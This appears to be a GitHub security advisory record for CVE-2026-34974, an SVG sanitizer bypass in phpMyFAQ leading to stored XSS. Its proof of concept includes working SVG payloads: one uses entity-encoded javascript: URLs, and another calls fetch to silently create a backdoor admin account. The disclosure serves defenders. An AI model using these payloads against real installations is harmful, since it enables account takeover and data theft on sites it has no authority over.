CVE-2026-34974: phpMyFAQ Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5crx-pfhq-4hgg",
  "modified" : "2026-04-06T17:18:58Z",
  "published" : "2026-04-01T23:42:47Z",
  "aliases" : [ "CVE-2026-34974" ],
  "summary" : "phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation",
  "details" : "### Summary\nThe regex-based SVG sanitizer in phpMyFAQ (`SvgSanitizer.php`) can be bypassed using HTML entity encoding in `javascript:` URLs within SVG `<a href>` attributes. Any user with `edit_faq` permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.\n\n### Details\nThe file `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php` (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for `javascript:` URL detection is:\n\n`/href\\s*=\\s*[\"\\']javascript:[^\"\\']*[\"\\']/i`\n\nThis pattern matches the literal string `javascript:` but fails when the URL is HTML entity encoded. For example, `&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;` decodes to `javascript:` in the browser, but does NOT match the regex. The `isSafe()` method returns `true`, so the SVG is accepted without sanitization.\n\nAdditionally, the `DANGEROUS_ELEMENTS` blocklist misses `<animate>`, `<set>`, and `<use>` elements which can also be used to execute JavaScript in SVG context.\n\nUploaded SVG files are served with `Content-Type: image/svg+xml` and no `Content-Disposition: attachment` header, so browsers render them inline and execute any JavaScript they contain.\n\nThe image upload endpoint (`/admin/api/content/images`) only requires the `edit_faq` permission — not full admin — so any editor-level user can upload malicious SVGs.\n\n### PoC\n### Basic XSS (confirmed working in Chrome 146 and Edge)\n\n1. Login to phpMyFAQ admin panel with any account that has `edit_faq` permission\n2. Navigate to Admin → Content → Add New FAQ\n3. In the TinyMCE editor, click the image upload button\n4. Upload this SVG file:\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 200 200\">\n  <a href=\"&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(document.domain)\">\n    <text x=\"20\" y=\"50\" font-size=\"16\" fill=\"red\">Click for XSS</text>\n  </a>\n</svg>\n```\n\n5. The SVG is uploaded to `/content/user/images/<timestamp>_<filename>.svg`\n6. Open the SVG URL directly in a browser\n7. Click the red text → `alert(document.domain)` executes\n\n### Privilege Escalation (Editor → Admin Takeover)\n\n1. As editor, upload this SVG:\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 500 300\">\n  <rect width=\"500\" height=\"300\" fill=\"#f8f9fa\"/>\n  <text x=\"250\" y=\"100\" text-anchor=\"middle\" font-size=\"22\" fill=\"#333\">📋 System Notice</text>\n  <a href=\"&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')\">\n    <rect x=\"150\" y=\"170\" width=\"200\" height=\"50\" rx=\"8\" fill=\"#0d6efd\"/>\n    <text x=\"250\" y=\"200\" text-anchor=\"middle\" font-size=\"16\" fill=\"white\">View Update →</text>\n  </a>\n</svg>\n```\n\n2. Send the SVG URL to an admin\n3. Admin opens URL, clicks \"View Update →\"\n4. JavaScript creates backdoor admin user `backdoor:H4ck3d!`\n5. Attacker logs in as `backdoor` with full admin privileges\n\n\n### Impact\nThis is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with `edit_faq` permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:\n- Create backdoor admin accounts via the admin API\n- Exfiltrate phpMyFAQ configuration (database credentials, API tokens)\n- Modify or delete FAQ content\n- Achieve full admin account takeover\nThe vulnerability affects all phpMyFAQ installations using the `SvgSanitizer` class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with `Content-Disposition: attachment` to prevent inline rendering.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.1.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-5crx-pfhq-4hgg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34974"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-01T23:42:47Z",
    "nvd_published_at" : "2026-04-02T15:16:51Z"
  }
}